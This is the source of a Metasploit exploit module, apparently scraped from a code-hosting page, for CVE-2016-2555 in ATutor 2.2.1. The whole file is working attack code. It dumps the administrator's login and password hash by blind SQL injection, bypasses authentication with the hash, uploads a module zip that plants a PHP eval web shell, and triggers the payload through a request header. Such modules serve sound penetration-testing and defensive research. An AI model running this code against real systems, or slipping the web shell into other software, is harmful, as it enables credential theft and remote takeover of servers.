Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/http/atutor_sqli.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::FileDropper1011def initialize(info={})12super(update_info(info,13'Name' => 'ATutor 2.2.1 SQL Injection / Remote Code Execution',14'Description' => %q{15This module exploits a SQL Injection vulnerability and an authentication weakness16vulnerability in ATutor. This essentially means an attacker can bypass authentication17and reach the administrator's interface where they can upload malicious code.18},19'License' => MSF_LICENSE,20'Author' =>21[22'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery, msf code23],24'References' =>25[26[ 'CVE', '2016-2555' ],27[ 'URL', 'http://www.atutor.ca/' ], # Official Website28[ 'URL', 'http://sourceincite.com/research/src-2016-08/' ] # Advisory29],30'Privileged' => false,31'Payload' =>32{33'DisableNops' => true,34},35'Platform' => ['php'],36'Arch' => ARCH_PHP,37'Targets' => [[ 'Automatic', { }]],38'DisclosureDate' => '2016-03-01',39'DefaultTarget' => 0))4041register_options(42[43OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/'])44])45end4647def print_status(msg='')48super("#{peer} - #{msg}")49end5051def print_error(msg='')52super("#{peer} - #{msg}")53end5455def print_good(msg='')56super("#{peer} - #{msg}")57end5859def check60# the only way to test if the target is vuln61if test_injection62return Exploit::CheckCode::Vulnerable63else64return Exploit::CheckCode::Safe65end66end6768def create_zip_file69zip_file = Rex::Zip::Archive.new70@header = Rex::Text.rand_text_alpha_upper(4)71@payload_name = Rex::Text.rand_text_alpha_lower(4)72@plugin_name = Rex::Text.rand_text_alpha_lower(3)7374path = "#{@plugin_name}/#{@payload_name}.php"75# this content path is where the ATutor authors recommended installing it76register_file_for_cleanup("#{@payload_name}.php", "/var/content/module/#{path}")77zip_file.add_file(path, "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")78zip_file.pack79end8081def exec_code82send_request_cgi({83'method' => 'GET',84'uri' => normalize_uri(target_uri.path, "mods", @plugin_name, "#{@payload_name}.php"),85'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"86}, 0.1)87end8889def upload_shell(cookie)90post_data = Rex::MIME::Message.new91post_data.add_part(create_zip_file, 'archive/zip', nil, "form-data; name=\"modulefile\"; filename=\"#{@plugin_name}.zip\"")92post_data.add_part("#{Rex::Text.rand_text_alpha_upper(4)}", nil, nil, "form-data; name=\"install_upload\"")93data = post_data.to_s94res = send_request_cgi({95'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", "install_modules.php"),96'method' => 'POST',97'data' => data,98'ctype' => "multipart/form-data; boundary=#{post_data.bound}",99'cookie' => cookie100})101102if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_1.php?mod=#{@plugin_name}")103res = send_request_cgi({104'method' => 'GET',105'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", res.redirection),106'cookie' => cookie107})108if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_2.php?mod=#{@plugin_name}")109res = send_request_cgi({110'method' => 'GET',111'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", "module_install_step_2.php?mod=#{@plugin_name}"),112'cookie' => cookie113})114return true115end116end117# unknown failure...118fail_with(Failure::Unknown, "Unable to upload php code")119return false120end121122def login(username, hash)123password = Rex::Text.sha1(hash)124res = send_request_cgi({125'method' => 'POST',126'uri' => normalize_uri(target_uri.path, "login.php"),127'vars_post' => {128'form_password_hidden' => password,129'form_login' => username,130'submit' => 'Login',131'token' => ''132},133})134# poor developer practices135cookie = "ATutorID=#{$4};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/136if res && res.code == 302 && res.redirection.to_s.include?('admin/index.php')137# if we made it here, we are admin138store_valid_credential(user: username, private: hash, private_type: :nonreplayable_hash)139return cookie140end141# auth failed if we land here, bail142fail_with(Failure::NoAccess, "Authentication failed with username #{username}")143return nil144end145146def perform_request(sqli)147# the search requires a minimum of 3 chars148sqli = "#{Rex::Text.rand_text_alpha(3)}'/**/or/**/#{sqli}/**/or/**/1='"149rand_key = Rex::Text.rand_text_alpha(1)150res = send_request_cgi({151'method' => 'POST',152'uri' => normalize_uri(target_uri.path, "mods", "_standard", "social", "index_public.php"),153'vars_post' => {154"search_friends_#{rand_key}" => sqli,155'rand_key' => rand_key,156'search' => 'Search'157},158})159res ? res.body : ''160end161162def dump_the_hash163extracted_hash = ""164sqli = "(select/**/length(concat(login,0x3a,password))/**/from/**/AT_admins/**/limit/**/0,1)"165login_and_hash_length = generate_sql_and_test(do_true=false, do_test=false, sql=sqli).to_i166for i in 1..login_and_hash_length167sqli = "ascii(substring((select/**/concat(login,0x3a,password)/**/from/**/AT_admins/**/limit/**/0,1),#{i},1))"168asciival = generate_sql_and_test(false, false, sqli)169if asciival >= 0170extracted_hash << asciival.chr171end172end173return extracted_hash.split(":")174end175176# greetz to rsauron & the darkc0de crew!177def get_ascii_value(sql)178lower = 0179upper = 126180while lower < upper181mid = (lower + upper) / 2182sqli = "#{sql}>#{mid}"183result = perform_request(sqli)184if result =~ /There are \d+ entries\./185lower = mid + 1186else187upper = mid188end189end190if lower > 0 and lower < 126191value = lower192else193sqli = "#{sql}=#{lower}"194result = perform_request(sqli)195if result =~ /There are \d+ entries\./196value = lower197end198end199return value200end201202def generate_sql_and_test(do_true=false, do_test=false, sql=nil)203if do_test204if do_true205result = perform_request("1=1")206if result =~ /There are \d+ entries\./207return true208end209else not do_true210result = perform_request("1=2")211if not result =~ /There are \d+ entries\./212return true213end214end215elsif not do_test and sql216return get_ascii_value(sql)217end218end219220def test_injection221if generate_sql_and_test(do_true=true, do_test=true, sql=nil)222if generate_sql_and_test(do_true=false, do_test=true, sql=nil)223return true224end225end226return false227end228229def service_details230super.merge({ post_reference_name: self.refname, jtr_format: 'sha512' })231end232233def exploit234print_status("Dumping the username and password hash...")235credz = dump_the_hash236if credz.nil? || credz.empty?237fail_with(Failure::NotVulnerable, 'Failed to retrieve username and password hash')238end239print_good("Got the #{credz[0]}'s hash: #{credz[1]} !")240admin_cookie = login(credz[0], credz[1])241if upload_shell(admin_cookie)242exec_code243end244end245end246247248